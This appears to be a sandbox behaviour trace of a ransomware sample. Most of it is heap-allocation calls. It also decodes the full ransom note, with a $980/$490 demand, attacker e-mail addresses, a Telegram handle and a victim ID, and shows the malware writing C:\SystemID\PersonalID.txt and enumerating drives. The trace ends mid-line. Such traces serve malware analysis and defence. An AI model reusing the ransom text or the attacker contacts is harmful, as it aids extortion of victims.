lpWideCharStr=0x3054f00, cchWideChar=2138 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned 1115 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10c0) returned 0x3055fc0 [0122.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3054f00 | out: hHeap=0x5c0000) returned 1 [0122.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b90c0 | out: hHeap=0x5c0000) returned 1 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x28) returned 0x3074960 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3066318 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3066580 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x30667e8 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3066a50 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3066cb8 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3066f20 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3067188 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x30673f0 [0122.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3067658 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x30678c0 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80c) returned 0x3090f70 [0122.833] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c760, cbMultiByte=-1, lpWideCharStr=0x3090f70, cchWideChar=1030 | out: lpWideCharStr=".litar") returned 7 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x3091fb8 [0122.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3090f70 | out: hHeap=0x5c0000) returned 1 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075f90 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x6a1f48 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x6b6418 [0122.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a1f48 | out: hHeap=0x5c0000) returned 1 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ebb8 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x48) returned 0x3053668 [0122.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b6418 | out: hHeap=0x5c0000) returned 1 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041a88 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ecf0 [0122.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3053668 | out: hHeap=0x5c0000) returned 1 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0122.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ecf0 | out: hHeap=0x5c0000) returned 1 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f1e0 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041ad0 [0122.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd8) returned 0x2fd1610 [0122.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075fb8 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f238 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ecf0 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x138) returned 0x2f77e68 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd1610 | out: hHeap=0x5c0000) returned 1 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041bf0 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f290 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f2e8 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3041b60 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c8) returned 0x30411a8 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f77e68 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075f90 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ebb8 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041a88 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f188 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f1e0 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041ad0 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075fb8 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ecf0 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041bf0 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f290 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f2e8 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3041b60 | out: hHeap=0x5c0000) returned 1 [0122.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30411a8 | out: hHeap=0x5c0000) returned 1 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x28) returned 0x3074930 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3067b28 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3067d90 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3067ff8 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3068260 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x30684c8 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3068730 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3068998 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x3068c00 [0122.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x306d9a0 [0122.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25c) returned 0x306dc08 [0122.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0122.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x130) returned 0x2f77e68 [0122.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0122.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1d0) returned 0x30411a8 [0122.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f77e68 | out: hHeap=0x5c0000) returned 1 [0122.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2b7) returned 0x6aed28 [0122.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30411a8 | out: hHeap=0x5c0000) returned 1 [0122.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x412) returned 0x6b90c0 [0122.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aed28 | out: hHeap=0x5c0000) returned 1 [0122.835] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x61a) returned 0x3090f70 [0122.835] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b90c0 | out: hHeap=0x5c0000) returned 1 [0122.835] GetUserNameW (in: lpBuffer=0x18ca68, pcbBuffer=0x18c7d4 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18c7d4) returned 1 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x590) returned 0x6b90c0 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x6a1f48 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x6b6418 [0122.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a1f48 | out: hHeap=0x5c0000) returned 1 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x48) returned 0x3053668 [0122.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b6418 | out: hHeap=0x5c0000) returned 1 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ecf0 [0122.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3053668 | out: hHeap=0x5c0000) returned 1 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0122.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ecf0 | out: hHeap=0x5c0000) returned 1 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd8) returned 0x2fd1610 [0122.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x138) returned 0x2f77e68 [0122.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd1610 | out: hHeap=0x5c0000) returned 1 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075fb8 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c8) returned 0x3091598 [0122.837] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f77e68 | out: hHeap=0x5c0000) returned 1 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3075f90 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076008 [0122.837] GetLastError () returned 0x0 [0122.837] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076030 [0122.837] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076058 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2a0) returned 0x6aed28 [0122.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3091598 | out: hHeap=0x5c0000) returned 1 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076080 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x6b6418 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037c18 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30760a8 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30760d0 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30760f8 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076120 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3f0) returned 0x30927d0 [0122.838] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aed28 | out: hHeap=0x5c0000) returned 1 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076148 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076170 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076198 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037ba8 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037e80 [0122.838] GetLastError () returned 0x0 [0122.838] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30761c0 [0122.838] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30761e8 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5e8) returned 0x3085780 [0122.839] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30927d0 | out: hHeap=0x5c0000) returned 1 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076210 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076238 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076260 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076288 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30762b0 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30762d8 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037e10 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037eb8 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076300 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076328 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076350 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076378 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30763a0 [0122.839] GetLastError () returned 0x0 [0122.839] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30763c8 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x3054f00 [0122.840] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3085780 | out: hHeap=0x5c0000) returned 1 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30763f0 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076418 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037ef0 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037f28 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076440 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076468 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076490 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30764b8 [0122.840] GetLastError () returned 0x0 [0122.840] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x30764e0 [0122.840] GetLastError () returned 0x0 [0122.843] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18c4c8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.843] GetLastError () returned 0x3 [0122.843] GetLastError () returned 0x3 [0122.843] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0122.844] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c4c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0122.845] GetFileType (hFile=0x5c0) returned 0x1 [0122.845] GetLastError () returned 0x0 [0122.848] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0122.848] RegisterClassExW (param_1=0x18c740) returned 0xc129 [0122.848] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10156 [0122.858] NtdllDefWindowProc_W () returned 0x0 [0122.859] NtdllDefWindowProc_W () returned 0x1 [0122.861] NtdllDefWindowProc_W () returned 0x0 [0122.960] NtdllDefWindowProc_W () returned 0x0 [0122.960] ShowWindow (hWnd=0x10156, nCmdShow=0) returned 0 [0122.960] UpdateWindow (hWnd=0x10156) returned 1 [0122.960] GetLogicalDrives () returned 0x4 [0122.960] SetErrorMode (uMode=0x1) returned 0x0 [0122.960] PathFileExistsA (pszPath="C:\\") returned 1 [0122.961] SetErrorMode (uMode=0x0) returned 0x1 [0122.961] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x806) returned 0x30578a8 [0122.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c6f8, cbMultiByte=-1, lpWideCharStr=0x30578a8, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30580b8 [0122.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30578a8 | out: hHeap=0x5c0000) returned 1 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x6a2708 [0122.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30580b8 | out: hHeap=0x5c0000) returned 1 [0122.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a2708 | out: hHeap=0x5c0000) returned 1 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x6a2708 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x305d0e0 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x110) returned 0x300d4a8 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30578a8 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30b89a8 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10c0) returned 0x30974d8 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ebb8 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30580c0 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x660) returned 0x6b90c0 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30b9230 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30b9ab8 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30ba340 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30babc8 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30bb450 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x3093c10 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30bbcd8 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30bc560 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x3094458 [0122.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30c7bc8 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30c8430 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30bcde8 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30bd670 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30c8c98 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30c94e0 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30bdef8 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30be780 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30bf008 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30bf890 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30c0118 [0122.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30c9d40 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30ca5c8 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30cae50 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30cb6d8 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30cbf60 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30d9d28 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30da590 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30cc7e8 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30cd070 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30cd8f8 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30dadf8 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30db640 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30ce180 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30cea08 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30cf290 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30cfb18 [0122.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30d03a0 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30d0c28 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30d14b0 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30d1d38 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30d25c0 [0122.964] RtlAllocateHeap 